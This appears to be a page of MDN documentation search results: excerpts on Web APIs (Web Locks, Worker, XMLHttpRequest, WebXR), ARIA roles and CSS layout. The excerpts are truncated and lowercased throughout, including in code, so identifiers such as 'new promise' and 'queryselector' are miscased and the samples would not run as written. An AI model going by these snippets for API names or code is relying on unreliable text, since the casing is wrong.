pshot of the lock manager state, which identifies held and requested locks and some additional data (e.g. mode) about each, at the time the snapshot was taken. advanced use for more complicated cases, such as holding the lock for an arbitrary amount of time, the callback can return a promise explicitly resolved by the script: // capture promise control functions: let resolve, reject; const p =
new promise((res, rej) => { resolve = res; reject = rej; }); // request the lock: navigator.locks.request('my_resource', lock => { // lock is acquired. return p; // now lock will be held until either resolve() or reject() is called. }); deadlocks a deadlock occurs when a process can no longer make progress because each part is waiting on a request that cannot be satisfied. this can occur ...
... nested, or are always well ordered, or have timeouts. note that such deadlocks only affect the locks themselves and code depending on them; the browser, other tabs, and other script in the page is not affected. interfaces lock provides the name and mode of a previously requested lock, which is received in the callback to lockmanager.request(). lockmanager provides methods for requesting a
new lock object and querying for an existing lock object. to get an instance of lockmanager, call navigator.locks. specifications specification status comment web locks api draft initial definition. ...
Window.closed - Web APIs
if (window.opener && !window.opener.closed) { window.opener.location.href = 'http://www.mozilla.org'; } note that popups can only access the window that opened them. refreshing a previously opened popup in this example the function refreshpopupwindow() calls the reload() method of the popup's location object to refresh its data. ...
...unction refreshpopupwindow() calls the reload() method of the popup's location object to refresh its data. if the popup hasn't been opened yet or the user has closed it a
new window is opened. const popupwindow = null; function refreshpopupwindow() { if (popupwindow && !popupwindow.closed) { // popupwindow is open, refresh it popupwindow.location.reload(true); } else { // open a
new popup window popupwindow = window.open('popup.html', 'datawindow'); } } specification specification status comment html living standardthe definition of 'window.closed' in that specification. living standard ...
Window.customElements - Web APIs
the customelements read-only property of the window interface returns a reference to the customelementregistry object, which can be used to register
new custom elements and get information about previously registered custom elements. ...
... the customelements read-only property of the window interface returns a reference to the customelementregistry object, which can be used to register
new custom elements and get information about previously registered custom elements. ...
Window.matchMedia() - Web APIs
use this object's properties and events to detect matches and to monitor for changes to those matches over time. usage notes you can use the returned media query to perform both instantanteous and event-driven checks to see if the document matches the media query. ...
...use this object's properties and events to detect matches and to monitor for changes to those matches over time. usage notes you can use the returned media query to perform both instantanteous and event-driven checks to see if the document matches the media query. ...
Obsolete features - Web APIs
creen is enabled in msie 5.x. fullscreen always upsets users with large monitor screen or with dual monitor screen. forcing fullscreen onto other users is also extremely unpopular and is considered an outright rude attempt to impose web author's viewing preferences onto users. fullscreen does not really work in msie 6 sp2. ...
... personalbar obsolete since gecko 76 if this feature is on, then the
new secondary window renders the personal toolbar in netscape 6.x, netscape 7.x and mozilla browser. it renders the bookmarks toolbar in firefox. in addition to the personal toolbar, mozilla browser will render the site navigation bar if such toolbar is visible, present in the parent window. mozilla and firefox users can force
new windows to always render the personal toolbar/bookmarks toolbar by setting dom.disable_window_open_feature.personalbar to true in about:config or in their user.js file. ...
Window.resizeTo() - Web APIs
example this function resizes the window so that it takes up one quarter of the available screen. see the screen.availwidth and screen.availheight properties. ...
... example this function resizes the window so that it takes up one quarter of the available screen. see the screen.availwidth and screen.availheight properties. ...
Window.speechSynthesis - Web APIs
er demo, we first grab a reference to the speechsynthesis controller using window.speechsynthesis. after defining some necessary variables, we retrieve a list of the voices available using speechsynthesis.getvoices() and populate a select menu with them so the user can choose what voice they want. inside the inputform.onsubmit handler, we stop the form submitting with preventdefault(), create a
new speechsynthesisutterance instance containing the text from the text <input>, set the utterance's voice to the voice selected in the <select> element, and start the utterance speaking via the speechsynthesis.speak() method. var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('...
...ontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } } populatevoicelist(); if (speechsynthesis.onvoiceschanged !== undefined) { speechsynthesis.onvoiceschanged = populatevoicelist; } inputform.onsubmit = function(event) { event.preventdefault(); var utterthis =
new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition o...
Worker() - Web APIs
reates a worker object that executes the script at the specified url. this script must obey the same-origin policy. note: that there is a disagreement among browser manufacturers about whether a data uri is of the same origin or not. though gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) and later accept data uris, that's not the case in all other browsers. syntax var myworker =
new worker(aurl, options); parameters aurl a usvstring representing the url of the script the worker will execute. it must obey the same-origin policy. options optional an object containing option properties that can be set when creating the object instance. available properties are as follows: type: a domstring specifying the type of worker to create. the value can be classic or module. i...
...g. if the url has an invalid syntax or if the same-origin policy is violated. a networkerror is raised if the mime type of the worker script is incorrect. it should always be text/javascript. a syntaxerror is raised if aurl cannot be parsed. examples the following code snippet shows creation of a worker object using the worker() constructor and subsequent usage of the object: var myworker =
new worker('worker.js'); first.onchange = function() { myworker.postmessage([first.value,second.value]); console.log('message posted to worker'); } for a full example, see our basic dedicated worker example (run dedicated worker). specifications specification status comment html living standardthe definition of 'worker()' in that specification. living standard ...
Worker: messageerror event - Web APIs
the messageerror event is fired on a worker object when it receives a message that can't be deserialized. ...
...n.js const worker =
new worker("static/scripts/worker.js"); worker.addeventlistener("message", (event) => { console.error(`received message from worker: ${event}`); }); worker.addeventlistener("messageerror", (event) => { console.error(`error receiving message from worker: ${event}`); }); the same, but using the onmessageerror event handler property: // inside main.js const worker =
new worker("static/scripts/worker.js"); worker.onmessage = (event) => { console.error(`received message from worker: ${event}`); }; worker.onmessageerror = (event) => { console.error(`error receiving message from worker: ${event}`); }; specifications specification status html living standard living standard ...
Worker - Web APIs
(note: nested workers are not yet implemented in webkit). not all interfaces and functions are available to scripts inside a worker. ...
...er to catch the rejection. also available through the onrejectionhandled event handler property. unhandledrejection fires when a promise rejects with no handler to catch the rejection. also available using the onunhandledrejection event handler property. example the following code snippet creates a worker object using the worker() constructor, then uses the worker object: var myworker =
new worker('/worker.js'); var first = document.queryselector('input#number1'); var second = document.queryselector('input#number2'); first.onchange = function() { myworker.postmessage([first.value, second.value]); console.log('message posted to worker'); } for a full example, see ourbasic dedicated worker example (run dedicated worker). specifications specification status comme...
XDomainRequest - Web APIs
nrequest is an implementation of http access control (cors) that worked in internet explorer 8 and 9. it was removed in internet explorer 10 in favor of using xmlhttprequest with proper cors; if you are targeting internet explorer 10 or later, or wish to support any other browser, you need to use standard http access control. this interface can send both get and post requests. syntax var xdr =
new xdomainrequest(); returns a
new xdomainrequest object, which can then be used to make and manage these requests. properties xdomainrequest.timeout gets or sets the amount of time until a request times out. xdomainrequest.responsetext gets the response body as a string. methods xdomainrequest.open() opens the request, specifing the method (get/post) and url. xdomainrequest.send() s...
...quest.onprogress a handler for when the request has made progress between the send method call and the onload event. xdomainrequest.ontimeout a handler for when the request times out. xdomainrequest.onerror a handler for when a request has errored. xdomainrequest.onload a handler for when the full response has been received from the server. ...
XMLHttpRequest() - Web APIs
the xmlhttprequest() constructor creates a
new xmlhttprequest. for details about how to use xmlhttprequest, see using xmlhttprequest. syntax const request =
new xmlhttprequest(); parameters none. return value a
new xmlhttprequest object. the object must be prepared by at least calling open() to initialize it before calling send() to send the request to the server. non-standard firefox syntax firefox 16 added a non-standard parameter to the constructor that can enable anonymous mode (see bug 692677). setting the mozanon flag to true effectively resembles the anonxmlhttprequest() constructor described in older versions of the xmlhttprequest specification. ...
...ling open() to initialize it before calling send() to send the request to the server. non-standard firefox syntax firefox 16 added a non-standard parameter to the constructor that can enable anonymous mode (see bug 692677). setting the mozanon flag to true effectively resembles the anonxmlhttprequest() constructor described in older versions of the xmlhttprequest specification. const request =
new xmlhttprequest(paramsdictionary); parameters (non-standard) objparameters there are two flags you can set: mozanon boolean: setting this flag to true will cause the browser not to expose the origin and user credentials when fetching resources. most important, this means that cookies will not be sent unless explicitly added using setrequestheader. mozsystem boolean: setting this fl...
XPathEvaluator.evaluate() - Web APIs
ce prefix, within the xpath expression into appropriate namespace uris. type optional specifies the type of result to be returned by evaluating the expression. this must be one of the xpathresult.constants. result optional allows to specify a result object which may be reused and returned by this method. if this is specified as null or the implementation does not reuse the specified result, a
new result object will be returned. return value an xpathresult object representing the result of evaluating the xpath expression. exceptions invalid_expression_err if the expression is not legal according to the rules of the xpathevaluator, an xpathexception of type invalid_expression_err is raised. type_err in case result cannot be converted to the specified type, an xpathexception of type ...
...d. not_supported_err if the provided context node is not a type permitted as an xpath context node or the request type is not permitted by the xpathevaluator, a domexception of type not_supported_err is raised. example the following example shows the use of the evaluate() method. html <div>xpath example</div> <div>number of <div>s: <output></output></div> javascript var evaluator =
new xpathevaluator(); var result = evaluator.evaluate("//div", document, null, xpathresult.ordered_node_snapshot_type); document.queryselector("output").textcontent = result.snapshotlength; result specifications specification status comment document object model (dom) level 3 xpath specificationthe definition of 'xpathevaluator.evaluate()' in that specification. recom...
XPathExpression.evaluate() - Web APIs
a node representing the context to use for evaluating the expression. type optional specifies the type of result to be returned by evaluating the expression. this must be one of the xpathresult.constants. result optional allows to specify a result object which may be reused and returned by this method. if this is specified as null or the implementation does not reuse the specified result, a
new result object will be returned. return value an xpathresult object representing the result of evaluating the xpath expression. exceptions invalid_expression_err if the expression is not legal according to the rules of the xpathevaluator, an xpathexception of type invalid_expression_err is raised. type_err in case result cannot be converted to the specified type, an xpathexception of type ...
... if the provided context node is not a type permitted as an xpath context node or the request type is not permitted by the xpathevaluator, a domexception of type not_supported_err is raised. example the following example shows the use of the evaluate() method. ...
XRInputSourcesChangeEvent - Web APIs
the webxr device api interface xrinputsourceschangeevent is used to represent the inputsourceschange event sent to an xrsession when the set of available webxr input controllers changes. constructor xrinputsourceschangeevent() creates and returns a
new xrinputsourceschangeevent object configured as indicated by the given xrinputsourceschangeeventinit object. the specified type must be inputsourceschange, which is the only event that uses this interface. properties added read only an array of zero or more xrinputsource objects, each representing an input device which has been
newly connected or enabled for use. removed read only an array of zero or more xrinputsource objects representing the input devices
newly connected or enabled for use. session read only the xrsession ...
...rce change event is being directed. methods while xrinputsourceschangeevent defines no methods of its own, it inherits methods from its parent interface, event. event types inputsourceschange delivered to the xrsession when the set of input devices available to it changes. examples the following example shows how to set up an event handler which uses inputsourceschange events to detect
newly-available pointing devices and to load their models in preparation to display them in the next animation frame. xrsession.addeventlistener("inputsourceschange", oninputsourceschange); function oninputsourceschange(event) { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { loadcontrollermesh(input); } } } you can also add a handler for inputso...
XRInputSourcesChangeEventInit - Web APIs
removed read only an array of zero or more xrinputsource objects representing the input devices which are no longer available. session read only the xrsession to which the event applies. ...
... removed read only an array of zero or more xrinputsource objects representing the input devices which are no longer available. session read only the xrsession to which the event applies. ...
XRReferenceSpaceEventInit - Web APIs
properties are read-only, this is the only opportunity available to set their values. you will not usually need to use this, since these events are created by the webxr infrastructure. properties referencespace the xrreferencespace from which the event originated. ...
...rencespace from which the event originated. transform an xrrigidtransform which maps the old coordinate system (from before the changes indicated by this event) to the
new coordiante system. usage notes all of this dictionary's properties must have valid values set on them before calling the xrreferencespaceevent() constructor. examples this simple snippet calls the constructor to create a
new reference space event of type reset. let refspaceevent =
new xrreferencespaceevent("reset", { referencespace: myrefspace, transform: mytransform }); specifications specification status comment webxr device apithe definition of 'xrreferencespaceeventinit' in that specification. working draft initial definition. ...
XRRigidTransform.matrix - Web APIs
]\\ a[2] & a[6] & a[10] & a[14]\\ a[3] & a[7] & a[11] & a[15]\\ \end{bmatrix} the first time matrix is requested, it gets computed; after that, it's should be cached to avoid slowing down to compute it every time you need it. creating the matrix in this section, intended for more advanced readers, we cover how the api calculates the matrix for the specified transform. it begins by allocating a
new matrix and writing a 4x4 identity matrix into it: [1000010000100001]\begin{bmatrix} 1 & 0 & 0 & 0\\ 0 & 1 & 0 & 0\\ 0 & 0 & 1 & 0\\ 0 & 0 & 0 & 1 \end{bmatrix} this is a transform that will not change either the orientation or position of any point, vector, or object to which it's applied. next, the position is placed into the right-hand column, like this, resulting in a translation matrix tha...
...trix} examples in this example, a transform is created to create a matrix which can be used as a transform during rendering of webgl objects, in order to place objects to match a given offset and orientation. the matrix is then passed into a library function that uses webgl to render an object matching a given name using the transform matrix specified to position and orient it. let transform =
new xrrigidtransform( {x: 0, y: 0.5, z: 0.5}, {x: 0, y: -0.5, z: -0.5, w: 1}); drawglobject("magic-lamp", transform.matrix); specifications specification status comment webxr device apithe definition of 'xrrigidtransform.matrix' in that specification. working draft initial definition. ...
XRSession - Web APIs
rame() schedules the specified method to be called the next time the user agent is working on rendering an animation frame for the webxr device. returns an integer value which can be used to identify the request for the purposes of canceling the callback using cancelanimationframe(). this method is comparable to the window.requestanimationframe() method. requestreferencespace() requests that a
new xrreferencespace of the specified type be created. returns a promise which resolves with the xrreferencespace or xrboundedreferencespace which was requested, or throws a notsupportederror if the requested space type isn't supported by the device. updaterenderstate() updates the properties of the session's render state to match the values specified in the specified xrrenderstateinit dictionary. ...
... or might represent actual squeezing when wearing a haptic glove. also available through the onsqueezestart event handler property. visibilitychange an xrsessionevent which is sent to the session when its visibility state as indicated by the visibilitystate changes. also available through the onvisibilitychange event handler property. example this example establishes a
new xrsession in inline mode so that it can be displayed within an html element, avoiding the need for a dedicated ar or vr viewing device such as a headset. const xr = navigator.xr; if (xr) { xr.requestsession("inline").then((xrsession) => { xrsession.requestreferencespace("local").then((xrreferencespace) => { xrsession.requestanimationframe((time, xrframe) => { let viewer = xr...
XRSessionEvent() - Web APIs
the webxr device api's xrsessionevent() constructor creates and returns a
new xrsessionevent object. these objects represent events announcing state changes in an xrsession representing an augmented or virtual reality session. syntax
newxrsessionevent =
new xrsessionevent(type, eventinitdict); parameters type a domstring indicating which of the events represented by objects of type xrsessionevent this particular object represents. see event types for a list of the permitted values. eventinitdict an object conforming to the xrsessioneventinit dictionary which contains values to be applied to the
newly-created event object. ...
...the events represented by objects of type xrsessionevent this particular object represents. see event types for a list of the permitted values. eventinitdict an object conforming to the xrsessioneventinit dictionary which contains values to be applied to the
newly-created event object. permitted values are: session the xrsession to which the event is to be delivered. return value a
newly-created xrsessionevent object representing an object of the specfied type and configured as described by the eventinitdict parameter. event types the following events are represented using the xrsessionevent interface, and are permitted values for its type property. end fired at the session when it has ended, after being terminated by the application or the user agent. visibilitychange ...
XRSystem - Web APIs
rent interface, eventtarget. methods in addition to inheriting methods from its parent interface, eventtarget, the xrsystem interface includes the following methods: issessionsupported() returns a promise which resolves to true if the browser supports the given xrsessionmode. resolves to false if the specified mode isn't supported. requestsession() returns a promise that resolves to a
new xrsession with the specified xrsessionmode. events devicechange sent when the set of available xr devices has changed. also available using the ondevicechange event handler. usage notes thsi interface was previously known as simply xr in earlier versions of the specification; if you see references to xr in code or documentation, simply replace that with xrsystem. examples the follow...
...eturned promise resolves, we call a function onsessionstarted() to set up our session for rendering and so forth. if, on the other hand, there is already an ongoing xr session, we instead call end() to end the current session. when the returned promise resolves, we set xrsession to null to record the fact that we no longer have an ongoing session. that way, if the user clicks the button again, a
new session will start. specifications specification status comment webxr device apithe definition of 'xr' in that specification. working draft initial definition. ...
XRWebGLLayer - Web APIs
xt used to render the scene for display on the device. in particular, it provides access to the webgl framebuffer and viewport to ease access to the context. although xrwebgllayer is currently the only type of framebuffer layer supported by webgl, it's entirely possible that future updates to the webxr specification may allow for other layer types and corresponding image sources. constructor
new xrwebgllayer() creates and returns a
new xrwebgllayer object for use by the specified xrsession, using a particular webglrenderingcontext or webgl2renderingcontext as the destination context. properties antialias read only a boolean value indicating whether or not the webgl context's framebuffer supports anti-aliasing. the specific type of anti-aliasing is determined by the user agent. f...
...mebuffer() method. framebufferwidth read only returns the width of the xrwebgllayer's framebuffer. framebufferheight read only returns the height of the layer's framebuffer. ignoredepthvalues read only a boolean which indicates whether or not the webxr compositor should make use of the contents of the layer's depth buffer while compositing the scene. methods getviewport() returns a
new xrviewport instance representing the position, width, and height to which the webgl context's viewport must be set to contain drawing to the area of the framebuffer designated for the specified view's contents. in this way, for example, the rendering of the left eye's point of view and of the right eye's point of view are each placed into the correct parts of the framebuffer. static methods ...
XRWebGLLayerInit.alpha - Web APIs
the alpha property is a boolean value which, if present and set to true in the xrwebgllayerinit dictionary passed into the xrwebgllayer() constructor, specifies that the
new layer's color buffer is to include an alpha channel. otherwise, the color buffer won't have an alpha channel. the default is true. syntax let layerinit = { alpha: boolvalue }; let gllayer =
new xrwebgllayer(xrsession, gl, layerinit); let gllayer =
new xrwebgllayer(xrsession, gl, { alpha: boolvalue }); value a boolean which can be set to true to request that the
new webgl layer for rendering the webxr scene is to have an alpha channel. ...
...ffer won't have an alpha channel. the default is true. syntax let layerinit = { alpha: boolvalue }; let gllayer =
new xrwebgllayer(xrsession, gl, layerinit); let gllayer =
new xrwebgllayer(xrsession, gl, { alpha: boolvalue }); value a boolean which can be set to true to request that the
new webgl layer for rendering the webxr scene is to have an alpha channel. example in this example, a
new xrwebgllayer is created for a webxr session, xrsession, without an alpha channel. xrsession.updaterenderstate({ baselayer:
new xrwebgllayer(xrsession, gl, { alpha: false }); }); specifications specification status comment webxr device apithe definition of 'xrwebgllayerinit.alpha' in that specification. working draft initial definition. ...
Introduction - Web APIs
ing structures and ability to create complex layout models. css also has limited support for changing the position of an element. xsl (extensible stylesheet language) transformations are composed of two parts: xsl elements, which allow the transformation of an xml tree into another markup tree and xpath, a selection language for trees. xslt takes an xml document (the content) and creates a brand
new document based on the rules in the xsl stylesheet. this allows xslt to add, remove and reorganize elements from the original xml document and thus allows more fine-grain control of the resulting document's structure. transformations in xslt are based on rules that consist of templates. each template matches (using xpath) a certain fragment of the input xml document and then applies the substitut...
...stylesheet. this allows xslt to add, remove and reorganize elements from the original xml document and thus allows more fine-grain control of the resulting document's structure. transformations in xslt are based on rules that consist of templates. each template matches (using xpath) a certain fragment of the input xml document and then applies the substitution part on that fragment to create the
new resulting document. ...
XSLTProcessor - Web APIs
if the given node is a document node, you can pass in a full xsl transform or a literal result element transform; otherwise, it must be an <xsl:stylesheet> or <xsl:transform> element. ...
...if the given node is a document node, you can pass in a full xsl transform or a literal result element transform; otherwise, it must be an <xsl:stylesheet> or <xsl:transform> element. ...
Using the link role - Accessibility
s they do with ordinary links. screen magnifiers may enlarge links. note: opinons may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples this example shows how to implement a fake link using a <span> element. this includes javascript to grab the location and handle navigating to the
new location using window.open() via clicking, and using keyboard, css to give the desired visuals of a link, the tabindex="0" attribute to make it keyboard-focussable, and role="link" to make it recognised as a link by assistive technology. this is a huge amount of work just to recreate something you've get for free using the <a> element, so you should really use that if possible. but this shows th...
... aria attributes used link related aria techniques button role additional resources aria best practices - link role: http://www.w3.org/tr/wai-aria-practices/#link ...
ARIA: timer role - Accessibility
n other parts of the page, must be handled. use wisely, and cautiously! examples some prominent web timers include clocks, stop watches and countdowns, such as ticketing websites, e-commerce sites, and event countdowns (see https://countingdownto.com/). as an illustration of aria-atomic, consider a site with a simple clock, showing hours and minutes. the clock is updated each minute, with the
new remaining time simply overwriting the current content. <div id="clock" role="timer" aria-live="off">20</div> <button onclick="starttimer('clock')">start</button> /* basic javascript to update a timer */ function starttimer(timername) { // get the number of seconds let timer = document.getelementbyid(timername), seconds = parseint(timer.innertext); // remove a second // updated ...
...string that is added will be announced. on subsequent calls, only the parts of the content that changed compared to the previous content will be announced. for instance, when the clock changes from "17:33" to "17:34", assistive technologies will only announce "4", which won't be very useful to users. one way around this would be to first clear the contents of the live region, and then inject the
new content. however, this can sometimes be unreliable, as it's dependent on the exact timing of these two updates. aria-atomic="true" ensures that each time the live region is updated, the entirety of the content is announced in full (e.g. "time: 17:34"). <div id="clock" role="timer" aria-live="polite" aria-atomic="true"></div> accessibility concerns improperly using the timer role can unintenti...
ARIA: feed role - Accessibility
> description a feed is a page structure for a scrollable list of articles where scrolling may cause articles to be added to the top or end of the list. the list establishes an interoperability contract between the web page and assistive technologies that governs scroll interactions so that assistive technology users can read articles, jump forward and backward by article, and reliably trigger
new articles to load while in reading mode. examples include an rss feed,
news feeds, social media feeds like facebook, instagram or twitter, or even a list of related products on an ecommerce page. these streams can be limited or infinite, loading more content as the user scrolls. implementing the feed pattern allows a screen reader to reliably read and trigger the loading of feed content while in r...
...article should be scrolled into view when it, or a descendant element, receives focus. if the addition of articles occupies the main browser thread, make sure to set aria-busy="true" on the feed itself, and make sure to set it back to false when processing ends, or the user may not see the updates. to ensure good user experience, avoid inserting or removing articles in the middle of a feed, load
new articles before the user has reached the end of the feed, and provide keyboard commands for moving focus among articles so that keyboard users can navigate through your feed. see keyboard interactions below. if the number of articles is known, set aria-setsize on the articles themselves. however, if the total number is extremely large, indefinite, or changes often, set aria-setsize="-1" to indic...
ARIA: grid role - Accessibility
torall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(gridrow.queryselectorall('td'), function(el, i){ el.dataset.row = row; el.dataset.col = col; col = col + 1; }); if (col>maxcol) { maxcol = col - 1; } col = 0; row = row + 1; }); function moveto(
newrow,
newcol) { var tgt = document.queryselector('[data-row="' +
newrow + '"][data-col="' +
newcol + '"]'); if (tgt && (tgt.getattribute('role')==='gridcell') ) { array.prototype.foreach.call(document.queryselectorall('[role=gridcell]'), function(el, i){ el.setattribute('tabindex', '-1'); }); tgt.setattribute('tabindex', '0'); tgt.focus(); return true; } else { r...
...torall('table tbody tr'), row = 0, col = 0, maxrow = trs.length - 1, maxcol = 0; array.prototype.foreach.call(trs, function(gridrow, i){ array.prototype.foreach.call(gridrow.queryselectorall('td'), function(el, i){ el.dataset.row = row; el.dataset.col = col; col = col + 1; }); if (col>maxcol) { maxcol = col - 1; } col = 0; row = row + 1; }); function moveto(
newrow,
newcol) { var tgt = document.queryselector('[data-row="' +
newrow + '"][data-col="' +
newcol + '"]'); if (tgt && (tgt.getattribute('role')==='gridcell') ) { array.prototype.foreach.call(document.queryselectorall('[role=gridcell]'), function(el, i){ el.setattribute('tabindex', '-1'); }); tgt.setattribute('tabindex', '0'); tgt.focus(); return true; } else { r...
Community - Accessibility
this document provides links to mailing lists,
newsgroups, forums, and other communities related to accessbility. if you know of other useful resources, please link to them here. ...
... this document provides links to mailing lists,
newsgroups, forums, and other communities related to accessbility. if you know of other useful resources, please link to them here. ...
Web Accessibility: Understanding Colors and Luminance - Accessibility
n the srgb color space." color has many ways of being defined, including rgb, rgb decimal, rgb percent, hsl, cmyk among others. for digital concerns, much of the technology has historically resided in the rgb color space. this is because the companies behind the evolution of digital technology set the standards, and these standards still retain a powerful presence today. this is evolving, and
new methods for measuring color involve measurements using other color spaces, but color measurements in the rgb color space still predominates, and this includes video production. the rgb color model is extended to include “alpha” -- rgba -- to allow specification of the opacity of a color. there's movement towards adopting the use of hsl color values rather than rgb values is css color module...
... rather than rgb values is css color module 3 (see section 4.2.4), the rationale being that rgb is hardware-oriented, reflecting the use of crts, and that rgb is non-intuitive. that said, hsl colors incorporate lightness, not luminance, and this is a significant consideration. note that in that same section of the css color module 3, there are algorigthms available to translate the hsl to rgb.
newer technologies, such as opengl and direct3d incorporate support for the srgb gamma curve, although some articles for opengl reference use of rgba rather than srgb. webgl is usually in the rgba format; see an example of how it is used in "clearing with colors". where accessibility is concerned, however, standards and guidelines are currently written predominantly using the srgb color space, esp...
unicode-range - CSS: Cascading Style Sheets
-rule@font-faceinitial valueu+0-10ffffcomputed valueas specified formal syntax <unicode-range># examples using a different font for a single character in this example we create a simple html containing a single <div> element, including an ampersand, that we want to style with a different font. to make it obvious, we will use a sans-serif font, helvetica, for the text, and a serif font, times
new roman, for the ampersand. in the css we are in effect defining a completely separate @font-face that only includes a single character in it, meaning that only this character will be styled with this font. we could also have done this by wrapping the ampersand in a <span> and applying a different font just to that, but that is an extra element and rule set. html <div>me & you = us</div> css @...
...ning a completely separate @font-face that only includes a single character in it, meaning that only this character will be styled with this font. we could also have done this by wrapping the ampersand in a <span> and applying a different font just to that, but that is an extra element and rule set. html <div>me & you = us</div> css @font-face { font-family: 'ampersand'; src: local('times
new roman'); unicode-range: u+26; } div { font-size: 4em; font-family: ampersand, helvetica, sans-serif; } result specifications specification status comment css fonts module level 3the definition of 'unicode-range' in that specification. candidate recommendation initial definition ...
Detecting CSS animation support - CSS: Cascading Style Sheets
over all the possible prefixes, since all the major browsers are currently prefixing this property and changing its name to animationname instead. once this code is finished running, the value of animation will be false if css animation support isn't available, or it will be true. if it is true then both the animation property name and the keyframe prefix will be the right ones. so if you use a
new firefox, the property will be mozanimation and the keyframe prefix -moz- and with chrome it'll be webkitanimation and -webkit-. notice browsers don't make it easy with the switching between camelcase and hyphen-ation. animating using the correct syntax for different browsers now that you know if css animation is supported or not, we can animate. if( animation === false ) { // animate in jav...
...ce constructed, contains the complete description of all the keyframes needed by our animation sequence. the next task is to actually add the keyframes to the page's css. the first thing to do is look to see if there's already a style sheet on the document; if so, we simply insert the keyframe description into that stylesheet; this is done in lines 13-15. if there isn't already a style sheet, a
new <style> element is created, and its content is set to the value of keyframes. then the
new <style> element is inserted into the document's <head>, thereby adding the
new style sheet to the document. view on jsfiddle ...
Basic Concepts of Multicol - CSS: Cascading Style Sheets
this guide explains how the specification works with some common use case examples. key concepts and terminology multicol is unlike any of the other layout methods we have in css in that it fragments the content, including all descendent elements, into columns. this happens in the same way that content is fragmented into pages when we work with css paged media, for example by creating a print stylesheet. ...
...te three columns on the .container element. the content, including the children of .container is then split between the three columns. in the above example the content is wrapped in paragraph p tags with default styling. therefore, there is a margin above each paragraph. you can see how this margin causes the first line of text to be pushed down. this is because a multicol container creates a
new block formatting context (bfc) which means margins on child elements do not collapse with any margin on the container. the column-width property the column-width property is used to set the optimal width for every column box. if you declare a column-width, the browser will work out how many columns of that width will fit into the multicol container and distribute any extra space equally between...
Using multi-column layouts - CSS: Cascading Style Sheets
layout mode to allow the easy definition of multiple columns of text. people have trouble reading text if lines are too long; if it takes too long for the eyes to move from the end of the one line to the beginning of the next, they lose track of which line they were on. therefore, to make maximum use of a large screen, authors should have limited-width columns of text placed side by side, just as
newspapers do. unfortunately this is impossible to do with css and html without forcing column breaks at fixed positions, or severely restricting the markup allowed in the text, or using heroic scripting. this limitation is solved by adding
new css properties to extend the traditional block layout mode. using columns column count and width two css properties control whether and how many columns w...
...ions it is also useful to set the maximum height of the columns explicitly, and then lay out content starting at the first column and creating as many columns as necessary, possibly overflowing to the right. therefore, if the height is constrained, by setting the css height or max-height properties on a multi-column block, each column is allowed to grow to that height and no further before adding
new column. this mode is also much more efficient for layout. column gaps there is a gap between columns. the recommended default is 1em. this size can be changed by applying the column-gap property to the multi-column block: example 6 html <div id="column_gap"> lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. ut ...
CSS Containment - CSS: Cascading Style Sheets
independent of the other articles on the page, and so they have been given contain: content in order to indicate to the browser that this is the case. the browser can then use this information to make decisions about how to render the content. for example, it might not render articles that are outside the viewable area. if we give each <article> the contain property with a value of content, when
new elements are inserted the browser understands it does not need to relayout or repaint any area outside of the containing element's subtree, although if the <article> is styled such that its size depends on its contents (e.g. with height: auto), then the browser may need to account for its size changing). we have told it by way of the contain property that each article is independent. the conten...
... style containment article { contain: style; } despite the name, style containment does not provide scoped styles such as you would get with the shadow dom. the main use case is to prevent situations where a css counter could be changed in an element, which could then affect the rest of the tree. using contain: style would ensure that the counter-increment and counter-set properties created
new counters scoped to that subtree only. note: style containment is "at-risk" in the spec and may not be supported everywhere (it's not currently supported in firefox). special values there are two special values of contain: content strict we encountered the first in the example above. using contain: content turns on layout and paint containment. the specification describes this value as ...
Basic concepts of flexbox - CSS: Cascading Style Sheets
nd lines another vital area of understanding is how flexbox makes no assumption about the writing mode of the document. in the past, css was heavily weighted towards horizontal and left-to-right writing modes. modern layout methods encompass the range of writing modes and so we no longer assume that a line of text will start at the top left of a document and run towards the right hand side, with
new lines appearing one under the other. you can read more about the relationship between flexbox and the writing modes specification in a later article; however, the following description should help explain why we do not talk about left and right and top and bottom when we describe the direction that our flex items flow in. if the flex-direction is row and i am working in english, then the start ...
...rt and end lines are again switched. the live example below has flex-direction set to row-reverse. try the other values — row, column and column-reverse — to see what happens to the content. multi-line flex containers with flex-wrap while flexbox is a one dimensional model, it is possible to cause our flex items to wrap onto multiple lines. in doing so, you should consider each line as a
new flex container. any space distribution will happen across that line, without reference to the lines either side. to cause wrapping behaviour add the property flex-wrap with a value of wrap. now, should your items be too large to all display in one line, they will wrap onto another line. the live sample below contains items that have been given a width, the total width of the items being too wide...
Flow Layout and Overflow - CSS: Cascading Style Sheets
...
...oth axes. however, you can specify both values in which case the first is used for overflow-x and therefore the horizontal direction, and the second for overflow-y and the vertical direction. in the below example, i have only specified overflow-y: scroll so we do not get the unwanted horizontal scrollbar. flow relative properties in the guide to writing modes and flow layout, we looked at the
newer properties of block-size and inline-size which make more sense when working with different writing modes than tying our layout to the physical dimensions of the screen. the level 3 overflow module also includes flow relative properties for overflow - overflow-block and overflow-inline. these correspond to overflow-x and overflow-y but the mapping depends on the writing mode of the document. th...
Auto-placement in CSS Grid Layout - CSS: Cascading Style Sheets
mple, if you create a grid all child items will lay themselves out one into each grid cell. the default flow is to arrange items by row. grid will lay an item out into each cell of row 1. if you have created additional rows using the grid-template-rows property then grid will continue placing items in these rows. if the grid does not have enough rows in the explicit grid to place all of the items
new implicit rows will be created. sizing rows in the implicit grid the default for automatically created rows in the implicit grid is for them to be auto-sized. this means that they will contain the content added to them without causing an overflow. you can however control the size of these rows with the property grid-auto-rows. to cause all created rows to be 100 pixels tall for example you woul...
